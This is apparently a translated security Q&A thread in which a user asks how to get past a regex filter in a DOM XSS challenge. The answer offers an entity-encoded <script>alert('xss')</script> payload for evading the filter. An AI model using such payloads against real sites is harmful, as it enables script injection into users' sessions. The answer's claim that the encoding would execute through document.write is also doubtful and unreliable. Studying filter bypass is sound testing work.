¿Cómo puede el atacante omitir este filtro dom xss? [cerrado]

0

Estoy tratando de resolver un desafío dom xss donde el filtro usado es:

var anchor = window.location.hash.substring(1);
if (window.location.href.match(/(script|javascript|src|onerror|%|<|>)/g)) {
        alert('xss detected');

Después de omitir el filtro, el hash de ubicación se escribe en la página a través de document.write. No puedo pensar en una solución de trabajo ya que% está en expresiones regulares, por lo que no hay hexágonos y < > También está en filtro. Cualquier sugerencia o sugerencia en apreciada.

    
pregunta Daniel 15.12.2013 - 00:48
fuente

1 respuesta

3

¡Hay algo más que la codificación hexadecimal normal! También hay entidades Hex.

<script>alert("xss")</script>

es igual a:

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

También hay un valor decimal: &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#120&#115&#115&#34&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

Espero que esto te ayude.

    
respondido por el Ben Poulson 15.12.2013 - 02:01
fuente

Lea otras preguntas en las etiquetas